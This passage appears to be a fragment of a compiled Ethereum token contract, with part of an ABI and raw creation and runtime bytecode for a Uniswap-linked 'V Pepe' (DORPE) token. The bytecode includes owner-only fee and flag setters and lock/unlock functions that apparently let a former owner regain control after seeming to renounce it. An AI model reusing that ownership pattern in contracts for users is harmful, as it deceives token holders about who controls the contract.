int256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"updateUniRouter","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280601a81526020017fe197aa4fe196874b20e192aa4fe19687e197aa20562050657065000000000000815250600390816200004a919062000dfc565b506040518060400160405280600581526020017f444f5250450000000000000000000000000000000000000000000000000000008152506004908162000091919062000dfc565b50601260055f6101000a81548160ff021916908360ff160217905550731e9000bee47527ed80f2d242ddd129208b25e7a1600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f90e125f317cc36d183afbb968fe70d308266c0160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152505f600d555f600e555f600f555f6010555f6011555f60125560055f9054906101000a900460ff16600a620001c0919062001069565b633b9aca00620001d19190620010b9565b60135560055f9054906101000a900460ff16600a620001f1919062001069565b633b9aca00620002029190620010b9565b60145560055f9054906101000a900460ff16600a62000222919062001069565b633b9aca00620002339190620010b9565b60155560055f9054906101000a900460ff16600a62000253919062001069565b620f4240620002639190620010b9565b6016556001601860156101000a81548160ff0219169083151502179055505f601860166101000a81548160ff0219169083151502179055505f601860176101000a81548160ff021916908315150217905550348015620002c1575f80fd5b505f620002d362000b6a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003d1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003f7919062001168565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200045d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000483919062001168565b6040518363ffffffff1660e01b8152600401620004a2929190620011a9565b6020604051808303815f875af1158015620004bf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004e5919062001168565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135460085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600d54601081905550600e54601181905550600f54601281905550600160095f6200063462000b7160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f6200076362000b7160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f6200090862000b7160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060135460075f62000aae62000b6a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555062000afb62000b6a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60135460405162000b5b9190620011e5565b60405180910390a35062001200565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c1457607f821691505b60208210810362000c2a5762000c2962000bcf565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000c8e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c51565b62000c9a868362000c51565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000ce462000cde62000cd88462000cb2565b62000cbb565b62000cb2565b9050919050565b5f819050919050565b62000cff8362000cc4565b62000d1762000d0e8262000ceb565b84845462000c5d565b825550505050565b5f90565b62000d2d62000d1f565b62000d3a81848462000cf4565b505050565b5b8181101562000d615762000d555f8262000d23565b60018101905062000d40565b5050565b601f82111562000db05762000d7a8162000c30565b62000d858462000c42565b8101602085101562000d95578190505b62000dad62000da48562000c42565b83018262000d3f565b50505b505050565b5f82821c905092915050565b5f62000dd25f198460080262000db5565b1980831691505092915050565b5f62000dec838362000dc1565b9150826002028217905092915050565b62000e078262000b98565b67ffffffffffffffff81111562000e235762000e2262000ba2565b5b62000e2f825462000bfc565b62000e3c82828562000d65565b5f60209050601f83116001811462000e72575f841562000e5d578287015190505b62000e69858262000ddf565b86555062000ed8565b601f19841662000e828662000c30565b5f5b8281101562000eab5784890151825560018201915060208501945060208101905062000e84565b8683101562000ecb578489015162000ec7601f89168262000dc1565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000f6a5780860481111562000f425762000f4162000ee0565b5b600185161562000f525780820291505b808102905062000f628562000f0d565b945062000f22565b94509492505050565b5f8262000f84576001905062001056565b8162000f93575f905062001056565b816001811462000fac576002811462000fb75762000fed565b600191505062001056565b60ff84111562000fcc5762000fcb62000ee0565b5b8360020a91508482111562000fe65762000fe562000ee0565b5b5062001056565b5060208310610133831016604e8410600b8410161715620010275782820a90508381111562001021576200102062000ee0565b5b62001056565b62001036848484600162000f19565b9250905081840481111562001050576200104f62000ee0565b5b81810290505b9392505050565b5f60ff82169050919050565b5f620010758262000cb2565b915062001082836200105d565b9250620010b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f73565b905092915050565b5f620010c58262000cb2565b9150620010d28362000cb2565b9250828202620010e28162000cb2565b91508282048414831517620010fc57620010fb62000ee0565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620011328262001107565b9050919050565b620011448162001126565b81146200114f575f80fd5b50565b5f81519050620011628162001139565b92915050565b5f6020828403121562001180576200117f62001103565b5b5f6200118f8482850162001152565b91505092915050565b620011a38162001126565b82525050565b5f604082019050620011be5f83018562001198565b620011cd602083018462001198565b9392505050565b620011df8162000cb2565b82525050565b5f602082019050620011fa5f830184620011d4565b92915050565b608051614b36620012205f395f81816110e901526111140152614b365ff3fe608060405260043610610338575f3560e01c80638da5cb5b116101aa578063c5d24189116100f6578063ec28438a11610094578063f1d5f5171161006e578063f1d5f51714610c0f578063f2fde38b14610c37578063f84ba65d14610c5f578063f872858a14610c875761033f565b8063ec28438a14610b95578063ef422a1814610bbd578063f0cd1dac14610be55761033f565b8063c867d60b116100d0578063c867d60b14610acb578063da00097d14610b07578063dd46706414610b31578063dd62ed3e14610b595761033f565b8063c5d2418914610a4d578063c816841b14610a77578063c860795214610aa15761033f565b8063a457c2d711610163578063a9059cbb1161013d578063a9059cbb14610971578063b0249cc6146109ad578063c44516c0146109e9578063c49b9a8014610a255761033f565b8063a457c2d7146108f7578063a5d69d1f14610933578063a69df4b51461095b5761033f565b80638da5cb5b146107fd5780638ea5220f1461082757806395d89b4114610851578063a073d37f1461087b578063a08e671f146108a5578063a3ca847d146108cf5761033f565b80634a74bb0211610284578063715018a611610222578063807c2d9c116101fc578063807c2d9c1461074557806382eefb431461076f578063844d591c146107995780638b42507f146107c15761033f565b8063715018a6146106db57806375f0a874146106f15780637d1db4a51461071b5761033f565b8063557ed1ba1161025e578063557ed1ba14610621578063602bc62b1461064b57806361a23c691461067557806370a082311461069f5761033f565b80634a74bb02146105935780634cb80fd5146105bd5780635342acb4146105e55761033f565b806323b872dd116102f15780632b112e49116102cb5780632b112e49146104db578063313ce56714610505578063395093511461052f5780633b97084a1461056b5761033f565b806323b872dd1461044d5780632563ae831461048957806327c8f835146104b15761033f565b806306fdde03146103435780630940bbc71461036d578063095ea7b3146103955780631694505e146103d157806318160ddd146103fb5780632198cf6c146104255761033f565b3661033f57005b5f80fd5b34801561034e575f80fd5b50610357610cb1565b6040516103649190613c1f565b60405180910390f35b348015610378575f80fd5b50610393600480360381019061038e9190613c76565b610d41565b005b3480156103a0575f80fd5b506103bb60048036038101906103b69190613cfb565b610e2a565b6040516103c89190613d53565b60405180910390f35b3480156103dc575f80fd5b506103e5610e47565b6040516103f29190613dc7565b60405180910390f35b348015610406575f80fd5b5061040f610e6c565b60405161041c9190613def565b60405180910390f35b348015610430575f80fd5b5061044b60048036038101906104469190613e32565b610e75565b005b348015610458575f80fd5b50610473600480360381019061046e9190613e70565b610f61565b6040516104809190613d53565b60405180910390f35b348015610494575f80fd5b506104af60048036038101906104aa9190613ec0565b611036565b005b3480156104bc575f80fd5b506104c56110e7565b6040516104d29190613efa565b60405180910390f35b3480156104e6575f80fd5b506104ef61110b565b6040516104fc9190613def565b60405180910390f35b348015610510575f80fd5b5061051961114e565b6040516105269190613f2e565b60405180910390f35b34801561053a575f80fd5b5061055560048036038101906105509190613cfb565b611163565b6040516105629190613d53565b60405180910390f35b348015610576575f80fd5b50610591600480360381019061058c9190613c76565b611211565b005b34801561059e575f80fd5b506105a76112af565b6040516105b49190613d53565b60405180910390f35b3480156105c8575f80fd5b506105e360048036038101906105de9190613f47565b6112c2565b005b3480156105f0575f80fd5b5061060b60048036038101906106069190613f47565b611407565b6040516106189190613d53565b60405180910390f35b34801561062c575f80fd5b50610635611424565b6040516106429190613def565b60405180910390f35b348015610656575f80fd5b5061065f61142b565b60405161066c9190613def565b60405180910390f35b348015610680575f80fd5b50610689611434565b6040516106969190613def565b60405180910390f35b3480156106aa575f80fd5b506106c560048036038101906106c09190613f47565b61143a565b6040516106d29190613def565b60405180910390f35b3480156106e6575f80fd5b506106ef611480565b005b3480156106fc575f80fd5b506107056115ce565b6040516107129190613f92565b60405180910390f35b348015610726575f80fd5b5061072f6115f3565b60405161073c9190613def565b60405180910390f35b348015610750575f80fd5b506107596115f9565b6040516107669190613def565b60405180910390f35b34801561077a575f80fd5b506107836115ff565b6040516107909190613def565b60405180910390f35b3480156107a4575f80fd5b506107bf60048036038101906107ba9190613e32565b611605565b005b3480156107cc575f80fd5b506107e760048036038101906107e29190613f47565b6116f1565b6040516107f49190613d53565b60405180910390f35b348015610808575f80fd5b5061081161170e565b60405161081e9190613efa565b60405180910390f35b348015610832575f80fd5b5061083b611735565b6040516108489190613f92565b60405180910390f35b34801561085c575f80fd5b5061086561175b565b6040516108729190613c1f565b60405180910390f35b348015610886575f80fd5b5061088f6117eb565b60405161089c9190613def565b60405180910390f35b3480156108b0575f80fd5b506108b96117f4565b6040516108c69190613def565b60405180910390f35b3480156108da575f80fd5b506108f560048036038101906108f09190613c76565b6117fa565b005b348015610902575f80fd5b5061091d60048036038101906109189190613cfb565b6118e3565b60405161092a9190613d53565b60405180910390f35b34801561093e575f80fd5b5061095960048036038101906109549190613ec0565b6119ab565b005b348015610966575f80fd5b5061096f611a5c565b005b34801561097c575f80fd5b5061099760048036038101906109929190613cfb565b611c2b565b6040516109a49190613d53565b60405180910390f35b3480156109b8575f80fd5b506109d360048036038101906109ce9190613f47565b611c49565b6040516109e09190613d53565b60405180910390f35b3480156109f4575f80fd5b50610a0f6004803603810190610a0a9190613f47565b611c66565b604051610a1c9190613efa565b60405180910390f35b348015610a30575f80fd5b50610a4b6004803603810190610a469190613ec0565b61214e565b005b348015610a58575f80fd5b50610a61612236565b604051610a6e9190613def565b60405180910390f35b348015610a82575f80fd5b50610a8b61223c565b604051610a989190613efa565b60405180910390f35b348015610aac575f80fd5b50610ab5612261565b604051610ac29190613def565b60405180910390f35b348015610ad6575f80fd5b50610af16004803603810190610aec9190613f47565b612267565b604051610afe9190613d53565b60405180910390f35b348015610b12575f80fd5b50610b1b612284565b604051610b289190613d53565b60405180910390f35b348015610b3c575f80fd5b50610b576004803603810190610b529190613c76565b612297565b005b348015610b64575f80fd5b50610b7f6004803603810190610b7a9190613fab565b612457565b604051610b8c9190613def565b60405180910390f35b348015610ba0575f80fd5b50610bbb6004803603810190610bb69190613c76565b6124d9565b005b348015610bc8575f80fd5b50610be36004803603810190610bde9190613e32565b6125bd565b005b348015610bf0575f80fd5b50610bf96126a9565b604051610c069190613def565b60405180910390f35b348015610c1a575f80fd5b50610c356004803603810190610c309190613c76565b6126af565b005b348015610c42575f80fd5b50610c5d6004803603810190610c589190613f47565b61274d565b005b348015610c6a575f80fd5b50610c856004803603810190610c809190613e32565b61290a565b005b348015610c92575f80fd5b50610c9b6129f6565b604051610ca89190613d53565b60405180910390f35b606060038054610cc090614016565b80601f0160208091040260200160405190810160405280929190818152602001828054610cec90614016565b8015610d375780601f10610d0e57610100808354040283529160200191610d37565b820191905f5260205f20905b815481529060010190602001808311610d1a57829003601f168201915b5050505050905090565b610d49612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcc90614090565b60405180910390fd5b6005811115610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906140f8565b60405180910390fd5b80600e819055508060118190555050565b5f610e3d610e36612a09565b8484612a10565b6001905092915050565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601354905090565b610e7d612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0090614090565b60405180910390fd5b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610f6d848484612bd3565b5061102b84610f7a612a09565b61102685604051806060016040528060288152602001614ab46028913960085f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610fdd612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b612a10565b600190509392505050565b61103e612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190614090565b60405180910390fd5b80601860176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6111496111387f000000000000000000000000000000000000000000000000000000000000000061143a565b60135461325c90919063ffffffff16565b905090565b5f60055f9054906101000a900460ff16905090565b5f61120761116f612a09565b846112028560085f61117f612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a590919063ffffffff16565b612a10565b6001905092915050565b611219612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129c90614090565b60405180910390fd5b8060168190555050565b601860159054906101000a900460ff1681565b6112ca612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134d90614090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113bb90614186565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6009602052805f5260405f205f915054906101000a900460ff1681565b5f42905090565b5f600254905090565b600f5481565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b611488612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b90614090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b60155481565b60115481565b61160d612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090614090565b60405180910390fd5b80600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606004805461176a90614016565b80601f016020809104026020016040519081016040528092919081815260200182805461179690614016565b80156117e15780601f106117b8576101008083540402835291602001916117e1565b820191905f5260205f20905b8154815290600101906020018083116117c457829003601f168201915b5050505050905090565b5f601654905090565b60125481565b611802612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590614090565b60405180910390fd5b60058111156118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c9906140f8565b60405180910390fd5b80600d819055508060108190555050565b5f6119a16118ef612a09565b8461199c85604051806060016040528060258152602001614adc6025913960085f611918612a09565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546131fa9092919063ffffffff16565b612a10565b6001905092915050565b6119b3612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690614090565b60405180910390fd5b80601860166101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae290614214565b60405180910390fd5b6002544211611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b269061427c565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f611c3e611c37612a09565b8484612bd3565b506001905092915050565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f611c6f612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf290614090565b60405180910390fd5b5f8290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d48573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d6c91906142ae565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dd1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611df591906142ae565b6040518363ffffffff1660e01b8152600401611e129291906142d9565b602060405180830381865afa158015611e2d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e5191906142ae565b91505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fdc578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ecf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ef391906142ae565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f7c91906142ae565b6040518363ffffffff1660e01b8152600401611f999291906142d9565b6020604051808303815f875af1158015611fb5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fd991906142ae565b91505b8160185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a5f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050919050565b612156612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d990614090565b60405180910390fd5b80601860156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161222b9190613d53565b60405180910390a150565b600d5481565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b600a602052805f5260405f205f915054906101000a900460ff1681565b601860169054906101000a900460ff1681565b61229f612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461232b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232290614090565b60405180910390fd5b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080426123d5919061432d565b6002819055505f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6124e1612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461256d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256490614090565b60405180910390fd5b622625a08110156125b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125aa906143aa565b60405180910390fd5b8060148190555050565b6125c5612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612651576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264890614090565b60405180910390fd5b8060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b60105481565b6126b7612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273a90614090565b60405180910390fd5b8060158190555050565b612755612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890614090565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361284f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284690614438565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612912612a09565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461299e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161299590614090565b60405180910390fd5b80600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b601860179054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a75906144c6565b